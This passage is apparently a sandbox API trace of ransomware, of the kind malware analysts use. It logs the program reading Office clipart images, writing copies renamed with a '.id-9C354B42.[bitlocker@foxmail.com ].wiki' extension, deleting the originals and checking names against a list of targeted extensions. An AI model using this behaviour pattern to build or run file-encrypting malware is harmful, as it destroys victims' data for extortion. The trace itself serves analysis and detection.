lpString2=".WMF") returned -1 [0191.393] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.393] lstrlenW (lpString="J0099186.JPG") returned 12 [0191.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.393] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16738) returned 1 [0191.393] CloseHandle (hObject=0x1f8) returned 1 [0191.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0191.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.394] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.394] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.394] GetLastError () returned 0x0 [0191.394] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4162, lpOverlapped=0x0) returned 1 [0191.424] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0191.425] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.425] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.425] SetEndOfFile (hFile=0x1e0) returned 1 [0191.425] CloseHandle (hObject=0x1e0) returned 1 [0191.426] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.426] SetEndOfFile (hFile=0x1f8) returned 1 [0191.427] CloseHandle (hObject=0x1f8) returned 1 [0191.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0191.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.427] lstrlenW (lpString=".doc") returned 4 [0191.427] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.427] lstrlenW (lpString=".docx") returned 5 [0191.427] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0191.427] lstrlenW (lpString=".pdf") returned 4 [0191.427] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.427] lstrlenW (lpString=".xls") returned 4 [0191.427] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.427] lstrlenW (lpString=".xlsx") returned 5 [0191.427] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0191.427] lstrlenW (lpString=".ppt") returned 4 [0191.427] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.427] lstrlenW (lpString=".zip") returned 4 [0191.427] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.427] lstrlenW (lpString=".rar") returned 4 [0191.427] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.427] lstrlenW (lpString=".bz2") returned 4 [0191.428] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.428] lstrlenW (lpString=".7z") returned 3 [0191.428] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.428] lstrlenW (lpString=".dbf") returned 4 [0191.428] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.428] lstrlenW (lpString=".1cd") returned 4 [0191.428] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.428] lstrlenW (lpString=".jpg") returned 4 [0191.428] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.428] lstrlenW (lpString=".doc") returned 4 [0191.428] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.428] lstrlenW (lpString=".docx") returned 5 [0191.428] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0191.428] lstrlenW (lpString=".pdf") returned 4 [0191.428] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.428] lstrlenW (lpString=".xls") returned 4 [0191.428] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.428] lstrlenW (lpString=".xlsx") returned 5 [0191.428] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0191.428] lstrlenW (lpString=".ppt") returned 4 [0191.428] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.428] lstrlenW (lpString=".zip") returned 4 [0191.428] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.428] lstrlenW (lpString=".rar") returned 4 [0191.428] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.428] lstrlenW (lpString=".bz2") returned 4 [0191.428] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.429] lstrlenW (lpString=".7z") returned 3 [0191.429] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.429] lstrlenW (lpString=".dbf") returned 4 [0191.429] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.429] lstrlenW (lpString=".1cd") returned 4 [0191.429] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0191.429] lstrlenW (lpString=".jpg") returned 4 [0191.429] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.429] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.429] lstrlenW (lpString="J0099190.JPG") returned 12 [0191.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.429] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=43892) returned 1 [0191.430] CloseHandle (hObject=0x1f8) returned 1 [0191.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0191.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.430] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.430] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.430] GetLastError () returned 0x0 [0191.430] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xab74, lpOverlapped=0x0) returned 1 [0191.450] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xab80, lpOverlapped=0x0) returned 1 [0191.452] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.452] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.452] SetEndOfFile (hFile=0x1e0) returned 1 [0191.452] CloseHandle (hObject=0x1e0) returned 1 [0191.452] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.452] SetEndOfFile (hFile=0x1f8) returned 1 [0191.453] CloseHandle (hObject=0x1f8) returned 1 [0191.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0191.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.453] lstrlenW (lpString=".doc") returned 4 [0191.453] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.453] lstrlenW (lpString=".docx") returned 5 [0191.454] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0191.454] lstrlenW (lpString=".pdf") returned 4 [0191.454] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.454] lstrlenW (lpString=".xls") returned 4 [0191.454] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.454] lstrlenW (lpString=".xlsx") returned 5 [0191.454] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0191.454] lstrlenW (lpString=".ppt") returned 4 [0191.454] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.454] lstrlenW (lpString=".zip") returned 4 [0191.454] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.454] lstrlenW (lpString=".rar") returned 4 [0191.454] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.454] lstrlenW (lpString=".bz2") returned 4 [0191.454] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.454] lstrlenW (lpString=".7z") returned 3 [0191.454] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.454] lstrlenW (lpString=".dbf") returned 4 [0191.454] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.454] lstrlenW (lpString=".1cd") returned 4 [0191.454] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.454] lstrlenW (lpString=".jpg") returned 4 [0191.454] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.454] lstrlenW (lpString=".doc") returned 4 [0191.454] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.454] lstrlenW (lpString=".docx") returned 5 [0191.455] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0191.455] lstrlenW (lpString=".pdf") returned 4 [0191.455] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.455] lstrlenW (lpString=".xls") returned 4 [0191.455] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.455] lstrlenW (lpString=".xlsx") returned 5 [0191.455] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0191.455] lstrlenW (lpString=".ppt") returned 4 [0191.455] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.455] lstrlenW (lpString=".zip") returned 4 [0191.455] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.455] lstrlenW (lpString=".rar") returned 4 [0191.455] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.455] lstrlenW (lpString=".bz2") returned 4 [0191.455] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.455] lstrlenW (lpString=".7z") returned 3 [0191.455] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.455] lstrlenW (lpString=".dbf") returned 4 [0191.455] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.455] lstrlenW (lpString=".1cd") returned 4 [0191.455] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0191.455] lstrlenW (lpString=".jpg") returned 4 [0191.455] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.456] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.456] lstrlenW (lpString="J0099193.GIF") returned 12 [0191.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.456] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=35546) returned 1 [0191.456] CloseHandle (hObject=0x1f8) returned 1 [0191.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0191.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.456] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.456] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.457] GetLastError () returned 0x0 [0191.457] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8ada, lpOverlapped=0x0) returned 1 [0191.474] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8ae0, lpOverlapped=0x0) returned 1 [0191.476] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.476] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.476] SetEndOfFile (hFile=0x1e0) returned 1 [0191.476] CloseHandle (hObject=0x1e0) returned 1 [0191.476] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.476] SetEndOfFile (hFile=0x1f8) returned 1 [0191.477] CloseHandle (hObject=0x1f8) returned 1 [0191.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0191.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.477] lstrlenW (lpString=".doc") returned 4 [0191.477] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.477] lstrlenW (lpString=".docx") returned 5 [0191.477] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0191.477] lstrlenW (lpString=".pdf") returned 4 [0191.477] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString=".xls") returned 4 [0191.478] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString=".xlsx") returned 5 [0191.478] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0191.478] lstrlenW (lpString=".ppt") returned 4 [0191.478] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.478] lstrlenW (lpString=".zip") returned 4 [0191.478] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString=".rar") returned 4 [0191.478] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString=".bz2") returned 4 [0191.478] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.478] lstrlenW (lpString=".7z") returned 3 [0191.478] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.478] lstrlenW (lpString=".dbf") returned 4 [0191.478] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.478] lstrlenW (lpString=".1cd") returned 4 [0191.478] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.478] lstrlenW (lpString=".jpg") returned 4 [0191.478] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.478] lstrlenW (lpString=".doc") returned 4 [0191.478] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.478] lstrlenW (lpString=".docx") returned 5 [0191.478] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0191.478] lstrlenW (lpString=".pdf") returned 4 [0191.478] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.478] lstrlenW (lpString=".xls") returned 4 [0191.479] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.479] lstrlenW (lpString=".xlsx") returned 5 [0191.479] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0191.479] lstrlenW (lpString=".ppt") returned 4 [0191.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.479] lstrlenW (lpString=".zip") returned 4 [0191.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.479] lstrlenW (lpString=".rar") returned 4 [0191.479] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.479] lstrlenW (lpString=".bz2") returned 4 [0191.479] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.479] lstrlenW (lpString=".7z") returned 3 [0191.479] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.479] lstrlenW (lpString=".dbf") returned 4 [0191.479] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.479] lstrlenW (lpString=".1cd") returned 4 [0191.479] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0191.479] lstrlenW (lpString=".jpg") returned 4 [0191.479] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.479] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0191.479] lstrlenW (lpString="J0099194.GIF") returned 12 [0191.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.480] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=25265) returned 1 [0191.480] CloseHandle (hObject=0x1f8) returned 1 [0191.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 